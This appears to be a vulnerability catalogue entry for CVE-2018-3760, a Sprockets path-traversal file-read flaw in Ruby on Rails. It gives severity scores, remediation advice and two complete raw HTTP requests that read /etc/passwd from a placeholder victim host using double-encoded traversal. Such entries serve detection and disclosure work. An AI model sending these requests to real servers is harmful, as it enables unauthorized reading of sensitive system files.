| Title | Ruby On Rails - Local File Inclusion |
|---|---|
| Author | 0xrudra,pikpikcu |
| Severity | High |
| Impact | This vulnerability can lead to unauthorized access to sensitive files and information stored on the server. |
| Remediation | Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93887 |
| CVE ID | CVE-2018-3760 |
| CWE ID | CWE-200,CWE-22 |
| Tags | cve2018 cve rails lfi ruby vulhub seclists redhat vkev vuln |
Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /assets/file:%2f%2fmrf0pC/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3760.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-3760.pcap
N/AN/A